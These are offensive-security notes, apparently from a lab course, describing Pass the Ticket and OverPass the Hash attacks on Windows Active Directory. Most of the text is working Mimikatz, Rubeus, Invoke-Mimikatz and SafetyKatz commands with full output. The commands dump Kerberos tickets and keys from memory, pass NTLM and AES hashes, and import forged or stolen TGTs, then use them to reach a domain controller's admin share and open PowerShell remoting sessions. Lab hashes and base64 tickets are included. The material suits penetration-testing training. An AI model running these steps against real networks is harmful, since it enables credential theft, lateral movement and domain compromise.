Pass the Ticket (PtT) - Windows

To collect all tickets we need to execute Mimikatz or Rubeus as an administrator

Export Tickets

Mimikatz

Mimikatz

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

mimikatz # exit
Bye!
c:\tools> dir *.kirbi

Directory: c:\tools

Mode                LastWriteTime         Length Name
----                -------------         ------ ----

<SNIP>

-a----        7/12/2022   9:44 AM           1445 [0;6c680][e-mail]
-a----        7/12/2022   9:44 AM           1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi

<SNIP>

If you pick a ticket with the service krbtgt, it corresponds to the TGT of that account.

Rubeus

Rubeus

c:\tools> Rubeus.exe dump /nowrap

Pass the Key or OverPass the Hash

An advantage of abusing Kerberos tickets is the ability to forge our own tickets. Let's see how we can do this using the OverPass the Hash or Pass the Key technique.

OverPass-The-Hash generate tokens from hashes or key

Mimikatz requires administrative rights to perform the Pass the Key/OverPass the Hash attacks, while Rubeus doesn't

Mimikatz - Extract Kerberos Keys

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys
<SNIP>
Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session           : Interactive from 1
User Name         : plaintext
Domain            : HTB
Logon Server      : DC01
Logon Time        : 7/12/2022 9:42:15 AM
SID               : S-1-5-21-228825152-3134732153-3833540767-1107

         * Username : plaintext
         * Domain   : inlanefreight.htb
         * Password : (null)
         * Key List :
           aes256_hmac       b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
           rc4_hmac_nt       3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old      3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_md4           3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_nt_exp   3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old_exp  3f74aa8f08f712f09cd5177b5c1ce50f
<SNIP>

Then Pass the Key or OverPass the Hash

Mimikatz - Pass the Key or OverPass the Hash

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

user    : plaintext
domain  : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM    : 3f74aa8f08f712f09cd5177b5c1ce50f
  |  PID  1128
  |  TID  3268
  |  LSA Process is now R/W
  |  LUID 0 ; 3414364 (00000000:0034195c)
  \_ msv1_0   - data copy @ 000001C7DBC0B630 : OK !
  \_ kerberos - data copy @ 000001C7E20EE578
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 000001C7E2136BC8 (32) -> null

Invoke-Mimikatz

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:us.techcorp.local /aes256:<aes256key>" /run:powershell.exe"'

SafetyKatz

SafetyKatz.exe "sekurlsa::pth /user:Administrator /domain:us.techcorp.local /aes256:<aes256key>" /run:cmd.exe" "exit"

Rubeus - Pass the Key or OverPass the Hash

No need elevation

Rubeus.exe asktgt /user:administrator /rc4:<ntlmhash> /ptt

c:\tools> Rubeus.exe  asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/LSsa2xrdJJir1eVugDFCoGFT2hDcYcpRdifXw67WofDM6Z6utsha+4bL0z6QN+tdpPlNQFwjuWmBrZtpS9TcCblotYvDHa0aLVsroW/fqXJ4KIV2tVfbVIDJvPkgdNAbhp6NvlbzeakR1oO5RTm7wtRXeTirfo6C9Ap0HnctlHAd+Qnvo2jGUPP6GHIhdlaM+QShdJtzBEeY/xIrORiiylYcBvOoir8mFEzNpQgYADmbTmg+c7/NgNO8Qj4AjrbGjVf/QWLlGc7sH9+tARi/Gn0cGKDK481A0zz+9C5huC9ZoNJ/18rWfJEb4P2kjlgDI0/fauT5xN+3NlmFVv0FSC8/909pUnovy1KkQaMgXkbFjlxeheoPrP6S/TrEQ8xKMyrz9jqs3ENh//q738lxSo8J2rZmv1QHy+wmUKif4DUwPyb4AHgSgCCUUppIFB3UeKjqB5srqHR78YeAWgY7pgqKpKkEomy922BtNprk2iLV1cM0trZGSk6XJ/H+JuLHI5DkuhkjZQbb1kpMA2CAFkEwdL9zkfrsrdIBpwtaki8pvcBPOzAjXzB7MWvhyAQevHCT9y6iDEEvV7fsF/B5xHXiw3Ur3P0xuCS4K/Nf4GC5PIahivW3jkDWn3g/0nl1K9YYX7cfgXQH9/inPS0OF1doslQfT0VUHTzx8vG3H25vtc2mPrfIwfUzmReLuZH8GCvt4p2BAbHLKx6j/HPa4+YPmV0GyCv9iICucSwdNXK53Q8tPjpjROha4AGjaK50yY8lgknRA4dYl7+O2+j4K/lBWZHy+IPgt3TO7YFoPJIEuHtARqigF5UzG1S+mefTmqpuHmoq72KtidINHqi+GvsvALbmSBQaRUXsJW/Lf17WXNXmjeeQWemTxlysFs1uRw9JlPYsGkXFh3fQ2ngax7JrKiO1/zDNf6cvRpuygQRHMOo5bnWgB2E7hVmXm2BTimE7axWcmopbIkEi165VOy/M+pagrzZDLTiLQOP/X8D6G35+srSr4YBWX4524/Nx7rPFCggxIXEU4zq3Ln1KMT9H7efDh+h0yNSXMVqBSCZLx6h3Fm2vNPRDdDrq7uz5UbgqFoR2tgvEOSpeBG5twl4MSh6VA7LwFi2usqqXzuPgqySjA1nPuvfy0Nd14GrJFWo6eDWoOy2ruhAYtaAtYC6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEXoRIEENEzis1B3YAUCjJPPsZjlduhCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUAQOEAAKURGA8yMDIyMDcxMjE1MjgyNlqmERgPMjAyMjA3MTMwMTI4MjZapxEYDzIwMjIwNzE5MTUyODI2WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t

  ServiceName           :  krbtgt/inlanefreight.htb
  ServiceRealm          :  inlanefreight.htb
  UserName              :  plaintext
  UserRealm             :  inlanefreight.htb
  StartTime             :  7/12/2022 11:28:26 AM
  EndTime               :  7/12/2022 9:28:26 PM
  RenewTill             :  7/19/2022 11:28:26 AM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  0TOKzUHdgBQKMk8+xmOV2w==

Need elevation

Rubeus.exe asktgt /user:administrator /aes256:<aes256keys> /opsec /createonly:C:\Windows\System32.cmd.exe /show /ptt

Pass The Ticket

Rubeus

• All in one

c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt

• Import .kirbi

c:\tools> Rubeus.exe ptt /ticket:[0;6c680][e-mail]

• Base64 We can also use the base64 output from Rubeus or convert a .kirbi to base64 to perform the Pass the Ticket attack. We can use PowerShell to convert a .kirbi to base64.

PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680][e-mail]"))

doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQzY .. SNIP ..

c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>
 ______        _

Mimikatz

C:\tools> mimikatz.exe 

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680][e-mail]"

* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680][e-mail]': OK
mimikatz # exit
Bye!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

We can use the Mimikatz module misc to launch a new command prompt window with the imported ticket using the misc::cmd command

PowerShell Remoting

To create a PowerShell Remoting session on a remote computer, you must have administrative permissions, be a member of the Remote Management Users group, or have explicit PowerShell Remoting permissions in your session configuration.

Suppose we find a user account that doesn't have administrative privileges on a remote computer but is a member of the Remote Management Users group. In that case, we can use PowerShell Remoting to connect to that computer and execute commands.

WinRM (5985, 5986)

• Mimikatz

C:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a][e-mail]"

* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a][e-mail]': OK

mimikatz # exit
Bye!

c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
[DC01]: PS C:\Users\john\Documents>

• Rubeus

C:\tools> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.3


[*] Action: Create process (/netonly)


[*] Using random username and password.

[*] Showing process : True
[*] Username        : JMI8CL7C
[*] Domain          : DTCDV6VL
[*] Password        : MRWI6XGI
[+] Process         : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 1556
[+] LUID            : 0xe07648

The above command will open a new cmd window. From that window, we can execute Rubeus to request a new TGT with the option /ptt to import the ticket into our current session and connect to the DC using PowerShell Remoting.

C:\tools> Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.3

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\john'
[*] Using domain controller: 10.129.203.120:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFqDCCBaSgAwIBBaEDAgEWooIEojCCBJ5hggSaMIIElqADAgEFoRMbEUlOTEFORUZSRUlHSFQuSFRC
      ... SNIP ...
      MDcyNTEyNDQ1MFqoExsRSU5MQU5FRlJFSUdIVC5IVEKpJjAkoAMCAQKhHTAbGwZrcmJ0Z3QbEWlubGFu
      ZWZyZWlnaHQuaHRi
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/inlanefreight.htb
  ServiceRealm             :  INLANEFREIGHT.HTB
  UserName                 :  john
  UserRealm                :  INLANEFREIGHT.HTB
  StartTime                :  7/18/2022 5:44:50 AM
  EndTime                  :  7/18/2022 3:44:50 PM
  RenewTill                :  7/25/2022 5:44:50 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  5VdAaevnpxx/f9rXsDDLfK6tH+4qQ3f1GlOB1ClBWh0=
  ASREP (key)              :  9279BCBD40DB957A0ED0D3856B2E67F9BB58E6DC7FC07207D0763CE2713F11DC

c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01

Resources

Pass the ticket | The Hacker Recipes